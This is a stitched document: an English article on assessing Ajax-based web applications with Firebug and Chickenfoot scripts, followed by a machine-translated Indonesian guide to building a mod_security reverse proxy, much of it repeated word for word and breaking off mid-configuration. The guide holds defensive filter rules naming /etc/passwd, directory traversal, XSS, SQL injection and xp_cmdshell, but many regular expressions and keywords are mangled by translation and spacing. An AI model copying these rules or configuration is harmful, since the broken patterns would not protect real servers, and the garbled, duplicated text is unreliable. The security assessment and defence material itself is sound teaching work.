The newly coined term “web 2.0” refers to the next generation of web applications that have logically evolved with the adoption of new technological vectors. XML-driven web services that are running on SOAP, XML-RPC and REST are empowering server-side components. New applications offer powerful end-user interfaces by utilizing Ajax and rich internet application (Flash) components. This technological shift has an impact on the overall architecture of web applications and the communication mechanism between client and server. At the same time, this shift has opened up new security concerns [ref 1] and challenges.New worms such as Yamanner, Samy and Spaceflash are exploiting “client-side” AJAX frameworks, providing new avenues of attack and compromising confidential information.
Figure 1. Web 2.0 architecture layout.
- Presentation layer - HTML/CSS provides the overall appearance to the application in the browser window.
- Logic & Process - JavaScript running in the browser empowers applications to execute business and communication logic. AJAX-driven components reside in this layer.
- Transport - XMLHttpRequest (XHR) [ref 2]. This object empowers asynchronous communication capabilities and XML exchange mechanism between client and server over HTTP(S).
Web 2.0 assessment challenges
In this asynchronous framework, the application does not have many “Refreshes” and “Redirects”. As a result, many interesting server-side resources that can be exploited by an attacker are hidden. The following are three important challenges for security people trying to understand web 2.0 applications:- Discovering hidden calls - It is imperative that one identify XHR-driven calls generated by the loaded page in the browser. It uses JavaScript over HTTP(S) to make these calls to the backend servers.
- Crawling challenges - Traditional crawler applications fail on two key fronts: one, to replicate browser behavior and two, to identify key server-side resources in the process. If a resource is accessed by an XHR object via JavaScript, then it is more than likely that the crawling application may not pick it up at all.
- Logic discovery - Web applications today are loaded with JavaScript and it is difficult to isolate the logic for a particular event. Each HTML page may load three or four JavaScript resources from the server. Each of these files may have many functions, but the event may be using only a very small part of all these files for its execution logic.
Discovering hidden calls
Web 2.0 applications may load a single page from the server but may make several XHR object calls when constructing the final page. These calls may pull content or JavaScript from the server asynchronously. In such a scenario, the challenge is to determine all XHR calls and resources pulled from the server. This is information that could help in identifying all possible resources and associated vulnerabilities. Let's start with a simple example. Suppose we can get today’s business news by visiting a simple news portal located at:http://example.com/news.aspx
The page in the browser would resemble the screenshot illustrated below in Figure 2.
Figure 2. A simple news portal page.
Prior to browsing a page with the plugin, ensure the option to intercept XHR calls is selected, as shown in Figure 3.
Figure 3. Setting Firebug to intercept XMLHttpRequest calls.
Figure 4. Capturing Ajax calls.
http://example.com/ getnews.aspx?date=09262006
If we closely look at the code, we can see following function in JavaScript:
function getNews()
{
var http;
http = new XMLHttpRequest();
http.open("GET", " getnews.aspx?date=09262006", true);
http.onreadystatechange = function()
{
if (http.readyState == 4) {
var response = http.responseText;
document.getElementById('result').innerHTML = response;
}
}
http.send(null);
}getnews.aspx?date=09262006. The content of this page is placed at the ‘result’ id location in the resulting HTML page. This is clearly an Ajax call using the XHR object. By analyzing the application in this format, we can identify vulnerable internal URLs, querystrings and POST requests as well. For example, again using the above case, the parameter “date” is vulnerable to an SQL injection attack.
Crawling challenges and browser simulation
An important reconnaissance tool when performing web application assessment is a web crawler. A web crawler crawls every single page and collects all HREFs (links). But what if these HREFs point to a JavaScript function that makes Ajax calls using the XHR object? The web crawler may miss this information altogether. In many cases it becomes very difficult to simulate this environment. For example, here is a set of simple links:The “go1” link when clicked will execute the getMe() function. The code for getMe() function is as shown below. Note that this function may be implemented in a completely separate file.
function getMe()
{
var http;
http = new XMLHttpRequest();
http.open("GET", "hi.html", true);
http.onreadystatechange = function()
{
if (http.readyState == 4) {
var response = http.responseText;
document.getElementById('result').innerHTML = response;
}
}
http.send(null);
}hi.html resource on the server. Is it possible to simulate this click using automation? Yes! Here is one approach using the Firefox plug-in Chickenfoot [ref 4] that provides JavaScript-based APIs and extends the programmable interface to the browser.
By using the Chickenfoot plugin, you can write simple JavaScript to automate browser behavior. With this methodology, simple tasks such as crawling web pages can be automated with ease. For example, the following simple script will “click” all anchors with
onClick events. The advantage of this plug-in over traditional web crawlers is distinct: each of these onClick events makes backend XHR-based AJAX calls which may be missed by crawlers because crawlers try to parse JavaScript and collect possible links but cannot replace actual onClick events. l=find('link')
for(i=0;i
a = document.links[i];
test = a.onclick;
if(!(test== null)){
var e = document.createEvent('MouseEvents');
e.initMouseEvent('click',true,true,document.defaultView,1,0,0,0,
0,false,false,false,false,0,null);
a.dispatchEvent(e);
}
} Figure 5. Simulating onClick AJAX call with chickenfoot.
Logic discovery & dissecting applications
To dissect client-side Ajax-based applications, one needs to go through each of the events very carefully in order to determine process logic. One way of determining the entire logic is to walk through each line of code. Often, each of these event calls process just a few functions from specific files only. Hence, one needs to use a technique to step through the relevant code that gets executed in a browser. There are a few powerful debuggers for JavaScript that can be used to achieve the above objective. Firebug is one of them. Another one is venkman [ref 6]. We shall use Firebug again in our example.Let’s take a simple example of a login process. The
login.html page accepts a username and password from the end-user, as shown in Figure 6. Use the “inspect” feature of Firebug to determine the property of the form. Figure 6. Form property inspection with Firebug.
Figure 7. Debugging with Firebug.
Figure 8. Setting a breakpoint and controlling execution process.
userval, residing in the file validation.js as shown in Figure 9. Figure 9. Moving to validation.js script page.
callGetMethod as shown in Figure 10. Figure 10. Making an Ajax call.
Figure 11. Web services call on the Firebug console.
http://example.com/2/auth/ws/login.asmx/getSecurityToken?username=amish&password=amish
The preceding resource is clearly some web services running under the .NET framework. This entire dissection process has thrown up an interesting detail: we've found a user validation routine that can be bypassed very easily. It is a potential security threat to the web application.
Taking our assessment further, we can now access the web service and its endpoints by using a WSDL file and directly bruteforce the service. We can launch several different injection attacks - SQL or XPATH - with tools such as wsChess [ref 7].
In this particular case, the application is vulnerable to an XPATH injection. The methodology for web services assessment overall is different and is outside the scope of this article. However this walkthrough technique helps identify several client-side attacks such as XSS, DOM manipulation attacks, client-side security control bypassing, malicious Ajax code execution, and so on.
Conclusion
Service-oriented architecture (SOA), Ajax, Rich Internet Applications (RIA) and web services are critical components to next generation web applications. To keep pace with these technologies and combat next-generation application security challenges, one needs to design and develop different methodologies and tools. One of the efficient methodologies of assessing applications is by effectively using a browser. In this article we have seen three techniques to assess web 2.0 applications. By using these methodologies it is possible to identify and isolate several Ajax-related vulnerabilities. Browser automation scripting can assist us in web asset profiling and discovery, that in turn can help in identifying vulnerable server-side resources.Next generation applications use JavaScript extensively. Smooth debugging tools are our knights in shining armor. The overall techniques covered in this article is a good starting point for web 2.0 assessments using Firefox.
References
[ref 1] Ajax security,http://www.securityfocus.com/infocus/1868
[ref 2] XHR Object specification, http://www.w3.org/TR/XMLHttpRequest/
[ref 3] Firebug download, https://addons.mozilla.org/firefox/1843/; Firebug usage, http://www.joehewitt.com/software/firebug/docs.php
[ref 4] Chickenfoot quick start, http://groups.csail.mit.edu/uid/chickenfoot/quickstart.html
[ref 5] Chickenfoot API reference - http://groups.csail.mit.edu/uid/chickenfoot/api.html
[ref 6] Venkman walkthrough, http://www.mozilla.org/projects/venkman/venkman-walkthrough.html
[ref 7] wsChess, http://net-square.com/wschess
About the author
Shreeraj Shah, BE, MSCS, MBA, is the founder of Net Square and leads Net Square’s consulting, training and R&D activities. He previously worked with Foundstone, Chase Manhattan Bank and IBM. He is also the author of Hacking Web Services (Thomson) and co-author of Web Hacking: Attacks and Defense (Addison-Wesley). In addition, he has published several advisories, tools, and whitepapers, and has presented at numerous conferences including RSA, AusCERT, InfosecWorld (Misti), HackInTheBox, Blackhat, OSCON, Bellua, Syscan, etc. You can read his blog at http://shreeraj.blogspot.com/.Web Security Appliance With Apache and mod_security
Karena semakin banyak serangan yang sedang dilaksanakan atas lapisan HTTP ada yang berkembang perlu mendorong amplop dan membawa keamanan Web pada tingkatan baru. Sebagian besar alat-alat yang ada bekerja pada TCP / IP tingkat, gagal untuk menggunakan spesifik dari protokol HTTP dalam operasi mereka. Kebutuhan untuk meningkatkan pengamanan telah menyebabkan pembentukan gerbang aplikasi, alat-alat yang pada dasarnya reverse proxy dengan tambahan kemampuan analisis protokol. Banyak solusi komersial yang tersedia. Artikel ini akan menunjukkan bagaimana Anda dapat membangun aplikasi Anda sendiri gateway dengan sedikit usaha, menggunakan komponen open source yang tersedia secara luas.
Kasus untuk reverse proxy
Tugas kita adalah untuk melindungi satu atau lebih Web server yang berada pada jaringan internal, memberikan layanan kepada klien di luar. Klien internal, seperti karyawan juga dianggap berada di luar klien untuk tujuan artikel ini. Kami sedang bekerja di bawah asumsi bahwa Anda memiliki minimal dua atau lebih Web server, database server, dan mungkin server internal lainnya. Semakin server ada, yang lebih berguna sebaliknya menjadi konsep proxy.
Sebuah proxy, menurut definisi, adalah sebuah alat yang berdiri di antara dua entitas yang berpartisipasi dalam percakapan. Apa yang biasanya disebut proxy dalam kehidupan sehari-hari lebih baik ke depan digambarkan sebagai proxy: sebuah perangkat yang berdiri di antara klien dan server lainnya. Sebuah reverse proxy tidak justru sebaliknya: ia berdiri di antara server dan semua klien. Dalam arti yang lebih luas, satu reverse proxy akan digunakan untuk semua server Web internal.
Manfaat utama dari menggunakan reverse proxy adalah salah satu dari sentralisasi. Setelah kita mendapatkan semua lalu lintas untuk pergi melalui satu titik kita dapat menerapkan alat-alat lain dari gudang senjata kita untuk kepentingan kita. Kami akan segera mempertimbangkan sini keuntungan dan kerugian dari menggunakan reverse proxy:
Keuntungan:
Dengan satu titik akses yang Anda dapat menerapkan kontrol akses untuk semua web server dengan sedikit usaha. Anda mungkin ingin menerapkan kontrol akses berdasarkan parameter infrastruktur seperti alamat IP di sini. Sebagai manfaat tambahan, Anda juga akan memiliki permintaan terpusat logging di tempat kegiatan membuat pemantauan lebih sederhana.
* Tingkat HTTP firewall. Bahkan tanpa usaha lebih lanjut proxy akan membantu karena biasanya tidak lulus permintaan awal ke Web server, melainkan menciptakan permintaan baru berdasarkan itu. Tapi, karena anda akan lihat segera, application gateway memiliki perangkat lunak di sini akan memungkinkan Anda untuk melakukan serangkaian pemeriksaan yang lebih luas, memonitor lalu lintas dan bereaksi terhadap serangan secara real time.
* Peningkatan kinerja. Karena proxy sebaliknya diinstal pada mesin yang terpisah ini berarti Anda memiliki sumber daya CPU digunakan. Caching dapat diterapkan untuk kedua statis dan konten dinamis. SSL lalu lintas dapat dihentikan di proxy, membebaskan server Web yang sebenarnya untuk berfokus pada menanggapi permintaan yang masuk. Akhirnya, keluar transparan lalu lintas dapat ditekan, menurunkan total kebutuhan bandwith.
* Jaringan isolasi. Dalam hal ini proxy sebaliknya memperkenalkan lapisan firewall lain. Daripada memiliki beberapa Web server dan sistem operasi terbuka secara langsung, Anda menyembunyikan mereka semua di belakang satu proxy.
* Topologi jaringan tersembunyi dari dunia luar. Ini bagus untuk setidaknya dua alasan. Pertama, memberikan sedikit informasi kepada para penyerang. Kedua, decouples pelaksanaan dari antarmuka jaringan. Perubahan dapat dibuat ke jaringan seperti yang diperlukan tanpa masyarakat menyadari dari mereka.
Kekurangan:
* Peningkatan kompleksitas. Ini adalah bagaimana Anda membayar untuk peningkatan keamanan, dengan meningkatkan kompleksitas jaringan.
* Titik tunggal kegagalan. Untuk misi operasi kritis, memiliki titik tunggal kegagalan tidak dapat diterima. Masalah ini bisa diselesaikan dengan memiliki dua reverse proxy di sebuah cluster, tetapi efek yang bahkan lebih kompleksitas ditambahkan ke jaringan.
Memperkenalkan mod_security
ModSecurity adalah modul Apache gangguan yang menambahkan fitur deteksi dan pencegahan ke Web server. Pada prinsipnya itu adalah serupa dengan IDS yang akan Anda gunakan untuk menganalisis lalu lintas jaringan Anda, kecuali bahwa ia bekerja pada tingkat HTTP dan memahami benar-benar baik. Karena ini memungkinkan Anda untuk melakukan hal-hal yang normal dari sudut pandang HTTP tetapi sulit untuk dilakukan dari IDS klasik. Perbedaan ini akan menjadi jelas kemudian, ketika kita mengkaji beberapa contoh dari apa yang dapat dilakukan mod_security.
Selain deteksi, mod_security juga mendukung pencegahan serangan. Karena berdiri di antara klien dan server, jika menemukan bahwa permintaan mengandung payload jahat itu dapat menolak permintaan, melakukan salah satu dari sejumlah tindakan built-in.
Karena ini adalah modul seperti yang lain, Anda dapat menggunakan mod_security sebagai bagian dari instalasi Apache. Biaya overhead yang berasal dari pengolahan tambahan dapat diabaikan jika dikonfigurasi dengan benar. Namun, jika Anda mempertimbangkan bahwa insiden ini jauh lebih mahal dan yang mod_security juga dapat melindungi Anda dari serangan di atas kepala menjadi tidak signifikan.
Jadi, bagaimana mod_security membantu? Kita tidak bisa masuk ke rincian lengkap pada semua kemampuan, tapi di sini adalah gambaran singkat tentang apa yang terjadi pada setiap permintaan (untuk rincian lebih lanjut pergi ke mod_security Website dan men-download referensi manual):
1. Parse permintaan. Ini sebagian besar langsung, kecuali ketika Anda harus berurusan dengan permintaan POST di mana mendapatkan tubuh permintaan bisa sulit.
2. Lakukan kanonisasi dan anti-penghindaran tindakan. Serangkaian transformasi dilakukan untuk mengubah input menjadi bentuk yang sesuai untuk analisis. Langkah ini akan berperang melawan berbagai teknik mengelak penyerang dapat menggunakan: null byte serangan, direktori referensi diri, beberapa slash karakter, menggunakan karakter garis miring terbalik pada Windows, dll
3. Lakukan khusus built-in cek. Langkah ini berisi lebih rumit validasi URL seperti validasi dan encoding penyandian Unicode validasi. Anda juga dapat memilih untuk hanya mengijinkan nilai-nilai byte tertentu dalam permintaan untuk melawan shellcode.
4. Execute masukan aturan. Ini adalah aturan-aturan adat di mana Anda datang ke dalam tindakan. Mereka bekerja dengan memungkinkan Anda untuk menganalisa setiap aspek dari permintaan menggunakan ekspresi reguler. Selain ini, beberapa peraturan dapat dikombinasikan untuk analisis yang lebih kompleks.
Permintaan ini kemudian diperbolehkan untuk mencapai penangan di mana dijalankan. Setelah permintaan:
1. Execute aturan output. Output aturan yang diterapkan ke respon tubuh. Mereka sangat berguna untuk mencegah kebocoran informasi.
2. Log permintaan. Log permintaan lengkap terdiri dari input dan output header, dan permintaan tubuh. Untuk mencegah penebangan hutan yang berlebihan, mod_security dapat dikonfigurasi untuk hanya log apa yang relevan, seperti permintaan yang telah memicu tanggapan dari mod_security.
Instalasi dan konfigurasi
Instalasi mengejutkan sederhana. Kami akan menganggap bahwa server yang Anda ingin melindungi menggunakan alamat 192.168.254.10 swasta, dan bahwa Anda telah mengkonfigurasi nama domain publik (www.modsecurity.org) agar menunjuk ke server proxy reverse.
Pada reverse proxy anda perlu menginstal Apache 2 web server, pastikan Anda kompilasi di mod_proxy, mod_proxy_http, dan mod_security. Kami tidak akan menghabiskan waktu pada langkah ini dengan asumsi Anda sudah akrab dengannya. Jika tidak, kita lihat di bagian link terkait di mana Anda akan menemukan link ke beberapa artikel yang sangat baik yang meliputi proses instalasi Apache. Ini juga akan ide yang baik untuk menambahkan modul mod_rewrite untuk campuran karena dapat bekerja sama dalam peningkatan signifikan mod_proxy apa yang dapat Anda lakukan.
Walaupun ada server Web dapat menjadi sebuah reverse proxy hanya dengan menambahkan modul-modul yang saya sebutkan di atas tidak dianjurkan untuk mencampur dua peran bersama-sama. Proxy sebaliknya akan menjadi satu-satunya server terbuka untuk umum dan Anda akan ingin meminimalkan jumlah kode yang dikandungnya, untuk meminimalkan risiko kerentanan dieksploitasi.
Apache 2.x adalah pilihan yang lebih baik untuk reverse proxy karena mengandung penyaringan baru API, memungkinkan modul untuk melihat dan berinteraksi dengan tubuh, seperti yang permintaan masuk dan dengan tanggapan seperti keluar. Hal ini penting untuk suatu aplikasi gateway karena harus memeriksa informasi yang melewati sebelum mencapai penerima.
Setelah Anda memiliki proxy dipasang di sini adalah bagaimana Anda akan mengkonfigurasi virtual host:
# Hanya telanjang arahan minimum
ServerName www.modsecurity.org
DocumentRoot / rproxy / mana
# Sementara baris berikut ini tidak benar-benar diperlukan, ada di sini untuk menekankan
# Fakta bahwa proxy sebaliknya tidak menggunakan direktif ini. Bahkan, berbalik
# Itu Pada tanpa kontrol akses yang tepat menciptakan proxy terbuka!
ProxyRequests Off
ProxyPass / http://192.168.254.10/
ProxyPassReverse / http://192.168.254.10/
# Ya, kita ingin menggunakan mod_security
SecFilterEngine On
# Scan tubuh permintaan
SecFilterScanPOST On
# Scan tubuh respon
SecFilterScanOutput On
# Periksa URL encoding
SecFilterCheckURLEncoding On
# Pengaturan ini harus ditetapkan ke Aktif hanya jika situs Web
# Menggunakan Unicode encoding. Kalau tidak, dapat mengganggu
# Situs normal operasi.
SecFilterCheckUnicodeEncoding Off
# Hanya mengizinkan nilai-nilai byte tertentu untuk menjadi bagian dari permintaan.
# Ini sangat santai, sebagian besar aplikasi di mana hanya inggris
# Digunakan akan dengan senang hati bekerja dengan kisaran 32-126.
SecFilterForceByteRange 1 255
# Audit log log permintaan lengkap. Dikonfigurasi sebagai berikut ini
# Hanya log request tidak sah untuk analisa lebih lanjut.
SecAuditEngine RelevantOnly
SecAuditLog log / audit_log
# Anda mungkin perlu ini nanti tetapi kami tidak log apa-apa
# Di sini untuk saat ini. Debug penebangan yang berlebihan dapat memperlambat
# Server.
SecFilterDebugLevel 0
SecFilterDebugLog log / modsec_debug_log
# Secara default, menolak permintaan dengan status 500
SecFilterDefaultAction "deny, log, status: 500"
# Taruh aturan mod_security Anda di sini
# ...
Contoh-contoh praktis
Dalam bagian ini saya akan menunjukkan apa yang khas mod_security seperti ketentuan. Anda harus selalu memulai dengan aturan-aturan yang memiliki cakupan yang luas, menyebabkan isu-isu yang lebih spesifik. Semua aturan mod_security (dan opsi konfigurasi) dapat diterapkan pada per-virtual host atau per-direktori dasar sehingga Anda dapat memiliki sepenuhnya daerah dengan konfigurasi keamanan yang berbeda.
Common mendeteksi serangan
Aturan-aturan ini akan menargetkan serangan Common aplikasi Web:
# Command eksekusi serangan
SecFilter / etc / password
SecFilter / bin / ls
# Directory traversal serangan
SecFilter "\. \. /"
# XSS serangan
SecFilter "<(.| \ n) +> "
SecFilter "<[[: space:]] * script "
# Serangan injeksi SQL
SecFilter "delete [[: space:]] + dari"
SecFilter "insert [[: space:]] + menjadi"
SecFilter "pilih. + Dari"
# MS SQL serangan injeksi SQL spesifik
SecFilter xp_enumdsn
SecFilter xp_filelist
SecFilter xp_availablemedia
SecFilter xp_cmdshell
SecFilter xp_regread
SecFilter xp_regwrite
SecFilter xp_regdeletekey
Melindungi script rentan
Beberapa aplikasi PHP yang rentan ketika sebuah opsi konfigurasi register_globals dihidupkan, memungkinkan penyerang untuk menetapkan variabel internal untuk nilai pilihan mereka. Ini biasanya menyebabkan penyerang mengeksekusi beberapa kode pada server. Berikut adalah contoh dari dunia nyata (Cafelog b2, http://www.securityfocus.com/bid/7786):
SecFilterSelective ARG_b2inc "!^$"
Melindungi dari serangan XSS melalui sesi PHP cookie
PHP versi sebelum 4.3.2 rentan terhadap serangan XSS dilaksanakan melalui pengidentifikasi sesi (http://www.securityfocus.com/bid/7761). Jika Anda tidak dapat meng-upgrade versi PHP anda ke versi terbaru Anda masih dapat melindungi diri Anda sendiri:
SecFilterSelective ARG_PHPSESSID "! ^ [0-9a-z] * $"
SecFilterSelective COOKIE_PHPSESSID "! ^ [0-9a-z] * $"
Berhenti FormMail dari yang digunakan untuk mengirim spam
Beberapa versi dari FormMail dapat digunakan untuk mengirim email ke alamat email yang sewenang-wenang. Aturan berikut ini menunjukkan bagaimana Anda dapat memiliki penyaring diterapkan hanya pada lokasi tertentu, dalam hal ini hanya FormMail script. Permohonan akan ditolak jika email yang ditujukan ke alamat apapun kecuali yang berakhiran "@ modsecurity.org":
SecFilterSelective "ARG_recipient" "! @ Modsecurity \. Org $"
Batasi administratif login ke alamat IP
Sini adalah nice one. Aku punya aplikasi ini di mana administrator log masuk melalui login yang sama dalam panel sebagai pengguna lain, tapi aku masih ingin membatasi administrasi login ke alamat IP tertentu. Jadi aku menggunakan dua aturan dirantai. Aturan yang kedua akan berlaku hanya jika aturan pertama kesesuaiannya; dalam hal ini - jika masuk username "admin".
ARG_username admin SecFilterSelective rantai
SecFilterSelective REMOTE_ADDR "! ^ ADMIN_IP_ADDRESS_HERE $"
Mencegah kebocoran informasi
Dalam semua versi PHP, jika terjadi kesalahan fatal script akan dihentikan segera (standard error handling rutin tidak akan dipanggil). Kebocoran informasi melalui masalah-masalah ini dapat dicegah dengan memindai output dan mencegahnya dari mencapai pengguna jika berisi pesan kesalahan.
SecFilterSelective OUTPUT "Fatal error:"
Deteksi intrusi
Filter output juga dapat digunakan untuk mendeteksi intrusi sukses. Aturan-aturan ini akan memonitor output dan mendeteksi kata kunci yang khas yang dihasilkan dari eksekusi perintah pada server.
SecFilterSelective OUTPUT "Volume Serial Number"
SecFilterSelective OUTPUT "Command completed"
SecFilterSelective OUTPUT "Bad command or filename"
SecFilterSelective OUTPUT "file (s) disalin"
SecFilterSelective OUTPUT "Index of / cgi-bin /"
SecFilterSelective OUTPUT ".* uid \ = \ ("
Lain
Apa aturan lainnya mungkin berguna bagi Anda tergantung pada jenis aplikasi dan web server anda memiliki reverse di belakang proxy. Di mod_security Website Anda dapat menemukan sejumlah besar peraturan secara otomatis dikonversi dari aturan Snort. Download daftar dan hanya mengeluarkan aturan-aturan yang tidak berlaku.
Kesimpulan
Artikel ini baru saja menggaruk permukaan masalah yang kompleks. Saya menyarankan agar Anda menelusuri melalui bagian link terkait, karena berisi daftar Situs-situs Web, peralatan, dan kertas yang dapat Anda gunakan untuk membiasakan diri dengan aspek-aspek lain, kami tidak menutupi di sini, seperti reverse proxy load balancing dan clustering atau sebaliknya transparan konfigurasi proxy. Pergi ke arah lain, men-download manual dan mod_security referensi untuk mengenal fitur-fiturnya. Ini juga berisi fitur lain tidak disebutkan di sini. Akhirnya, hubungi saya untuk meminta fitur mod_security baru jika Anda memiliki kebutuhan yang tidak tercakup oleh apa yang sudah ada.
Kasus untuk reverse proxy
Tugas kita adalah untuk melindungi satu atau lebih Web server yang berada pada jaringan internal, memberikan layanan kepada klien di luar. Klien internal, seperti karyawan juga dianggap berada di luar klien untuk tujuan artikel ini. Kami sedang bekerja di bawah asumsi bahwa Anda memiliki minimal dua atau lebih Web server, database server, dan mungkin server internal lainnya. Semakin server ada, yang lebih berguna sebaliknya menjadi konsep proxy.
Sebuah proxy, menurut definisi, adalah sebuah alat yang berdiri di antara dua entitas yang berpartisipasi dalam percakapan. Apa yang biasanya disebut proxy dalam kehidupan sehari-hari lebih baik ke depan digambarkan sebagai proxy: sebuah perangkat yang berdiri di antara klien dan server lainnya. Sebuah reverse proxy tidak justru sebaliknya: ia berdiri di antara server dan semua klien. Dalam arti yang lebih luas, satu reverse proxy akan digunakan untuk semua server Web internal.
Manfaat utama dari menggunakan reverse proxy adalah salah satu dari sentralisasi. Setelah kita mendapatkan semua lalu lintas untuk pergi melalui satu titik kita dapat menerapkan alat-alat lain dari gudang senjata kita untuk kepentingan kita. Kami akan segera mempertimbangkan sini keuntungan dan kerugian dari menggunakan reverse proxy:
Keuntungan:
Dengan satu titik akses yang Anda dapat menerapkan kontrol akses untuk semua web server dengan sedikit usaha. Anda mungkin ingin menerapkan kontrol akses berdasarkan parameter infrastruktur seperti alamat IP di sini. Sebagai manfaat tambahan, Anda juga akan memiliki permintaan terpusat logging di tempat kegiatan membuat pemantauan lebih sederhana.
* Tingkat HTTP firewall. Bahkan tanpa usaha lebih lanjut proxy akan membantu karena biasanya tidak lulus permintaan awal ke Web server, melainkan menciptakan permintaan baru berdasarkan itu. Tapi, karena anda akan lihat segera, application gateway memiliki perangkat lunak di sini akan memungkinkan Anda untuk melakukan serangkaian pemeriksaan yang lebih luas, memonitor lalu lintas dan bereaksi terhadap serangan secara real time.
* Peningkatan kinerja. Karena proxy sebaliknya diinstal pada mesin yang terpisah ini berarti Anda memiliki sumber daya CPU digunakan. Caching dapat diterapkan untuk kedua statis dan konten dinamis. SSL lalu lintas dapat dihentikan di proxy, membebaskan server Web yang sebenarnya untuk berfokus pada menanggapi permintaan yang masuk. Akhirnya, keluar transparan lalu lintas dapat ditekan, menurunkan total kebutuhan bandwith.
* Jaringan isolasi. Dalam hal ini proxy sebaliknya memperkenalkan lapisan firewall lain. Daripada memiliki beberapa Web server dan sistem operasi terbuka secara langsung, Anda menyembunyikan mereka semua di belakang satu proxy.
* Topologi jaringan tersembunyi dari dunia luar. Ini bagus untuk setidaknya dua alasan. Pertama, memberikan sedikit informasi kepada para penyerang. Kedua, decouples pelaksanaan dari antarmuka jaringan. Perubahan dapat dibuat ke jaringan seperti yang diperlukan tanpa masyarakat menyadari dari mereka.
Kekurangan:
* Peningkatan kompleksitas. Ini adalah bagaimana Anda membayar untuk peningkatan keamanan, dengan meningkatkan kompleksitas jaringan.
* Titik tunggal kegagalan. Untuk misi operasi kritis, memiliki titik tunggal kegagalan tidak dapat diterima. Masalah ini bisa diselesaikan dengan memiliki dua reverse proxy di sebuah cluster, tetapi efek yang bahkan lebih kompleksitas ditambahkan ke jaringan.
Memperkenalkan mod_security
ModSecurity adalah modul Apache gangguan yang menambahkan fitur deteksi dan pencegahan ke Web server. Pada prinsipnya itu adalah serupa dengan IDS yang akan Anda gunakan untuk menganalisis lalu lintas jaringan Anda, kecuali bahwa ia bekerja pada tingkat HTTP dan memahami benar-benar baik. Karena ini memungkinkan Anda untuk melakukan hal-hal yang normal dari sudut pandang HTTP tetapi sulit untuk dilakukan dari IDS klasik. Perbedaan ini akan menjadi jelas kemudian, ketika kita mengkaji beberapa contoh dari apa yang dapat dilakukan mod_security.
Selain deteksi, mod_security juga mendukung pencegahan serangan. Karena berdiri di antara klien dan server, jika menemukan bahwa permintaan mengandung payload jahat itu dapat menolak permintaan, melakukan salah satu dari sejumlah tindakan built-in.
Karena ini adalah modul seperti yang lain, Anda dapat menggunakan mod_security sebagai bagian dari instalasi Apache. Biaya overhead yang berasal dari pengolahan tambahan dapat diabaikan jika dikonfigurasi dengan benar. Namun, jika Anda mempertimbangkan bahwa insiden ini jauh lebih mahal dan yang mod_security juga dapat melindungi Anda dari serangan di atas kepala menjadi tidak signifikan.
Jadi, bagaimana mod_security membantu? Kita tidak bisa masuk ke rincian lengkap pada semua kemampuan, tapi di sini adalah gambaran singkat tentang apa yang terjadi pada setiap permintaan (untuk rincian lebih lanjut pergi ke mod_security Website dan men-download referensi manual):
1. Parse permintaan. Ini sebagian besar langsung, kecuali ketika Anda harus berurusan dengan permintaan POST di mana mendapatkan tubuh permintaan bisa sulit.
2. Lakukan kanonisasi dan anti-penghindaran tindakan. Serangkaian transformasi dilakukan untuk mengubah input menjadi bentuk yang sesuai untuk analisis. Langkah ini akan berperang melawan berbagai teknik mengelak penyerang dapat menggunakan: null byte serangan, direktori referensi diri, beberapa slash karakter, menggunakan karakter garis miring terbalik pada Windows, dll
3. Lakukan khusus built-in cek. Langkah ini berisi lebih rumit validasi URL seperti validasi dan encoding penyandian Unicode validasi. Anda juga dapat memilih untuk hanya mengijinkan nilai-nilai byte tertentu dalam permintaan untuk melawan shellcode.
4. Execute masukan aturan. Ini adalah aturan-aturan adat di mana Anda datang ke dalam tindakan. Mereka bekerja dengan memungkinkan Anda untuk menganalisa setiap aspek dari permintaan menggunakan ekspresi reguler. Selain ini, beberapa peraturan dapat dikombinasikan untuk analisis yang lebih kompleks.
Permintaan ini kemudian diperbolehkan untuk mencapai penangan di mana dijalankan. Setelah permintaan:
1. Execute aturan output. Output aturan yang diterapkan ke respon tubuh. Mereka sangat berguna untuk mencegah kebocoran informasi.
2. Log permintaan. Log permintaan lengkap terdiri dari input dan output header, dan permintaan tubuh. Untuk mencegah penebangan hutan yang berlebihan, mod_security dapat dikonfigurasi untuk hanya log apa yang relevan, seperti permintaan yang telah memicu tanggapan dari mod_security.
Instalasi dan konfigurasi
Instalasi mengejutkan sederhana. Kami akan menganggap bahwa server yang Anda ingin melindungi menggunakan alamat 192.168.254.10 swasta, dan bahwa Anda telah mengkonfigurasi nama domain publik (www.modsecurity.org) agar menunjuk ke server proxy reverse.
Pada reverse proxy anda perlu menginstal Apache 2 web server, pastikan Anda kompilasi di mod_proxy, mod_proxy_http, dan mod_security. Kami tidak akan menghabiskan waktu pada langkah ini dengan asumsi Anda sudah akrab dengannya. Jika tidak, kita lihat di bagian link terkait di mana Anda akan menemukan link ke beberapa artikel yang sangat baik yang meliputi proses instalasi Apache. Ini juga akan ide yang baik untuk menambahkan modul mod_rewrite untuk campuran karena dapat bekerja sama dalam peningkatan signifikan mod_proxy apa yang dapat Anda lakukan.
Walaupun ada server Web dapat menjadi sebuah reverse proxy hanya dengan menambahkan modul-modul yang saya sebutkan di atas tidak dianjurkan untuk mencampur dua peran bersama-sama. Proxy sebaliknya akan menjadi satu-satunya server terbuka untuk umum dan Anda akan ingin meminimalkan jumlah kode yang dikandungnya, untuk meminimalkan risiko kerentanan dieksploitasi.
Apache 2.x adalah pilihan yang lebih baik untuk reverse proxy karena mengandung penyaringan baru API, memungkinkan modul untuk melihat dan berinteraksi dengan tubuh, seperti yang permintaan masuk dan dengan tanggapan seperti keluar. Hal ini penting untuk suatu aplikasi gateway karena harus memeriksa informasi yang melewati sebelum mencapai penerima.
Setelah Anda memiliki proxy dipasang di sini adalah bagaimana Anda akan mengkonfigurasi virtual host:
ServerName www.modsecurity.org
DocumentRoot / rproxy / mana
# Sementara baris berikut ini tidak benar-benar diperlukan, ada di sini untuk menekankan
# Fakta bahwa proxy sebaliknya tidak menggunakan direktif ini. Bahkan, berbalik
# Itu Pada tanpa kontrol akses yang tepat menciptakan proxy terbuka!
ProxyRequests Off
ProxyPass / http://192.168.254.10/
ProxyPassReverse / http://192.168.254.10/
# Ya, kita ingin menggunakan mod_security
SecFilterEngine On
# Scan tubuh permintaan
SecFilterScanPOST On
# Scan tubuh respon
SecFilterScanOutput On
# Periksa URL encoding
SecFilterCheckURLEncoding On
# Pengaturan ini harus ditetapkan ke Aktif hanya jika situs Web
# Menggunakan Unicode encoding. Kalau tidak, dapat mengganggu
# Situs normal operasi.
SecFilterCheckUnicodeEncoding Off
# Hanya mengizinkan nilai-nilai byte tertentu untuk menjadi bagian dari permintaan.
# Ini sangat santai, sebagian besar aplikasi di mana hanya inggris
# Digunakan akan dengan senang hati bekerja dengan kisaran 32-126.
SecFilterForceByteRange 1 255
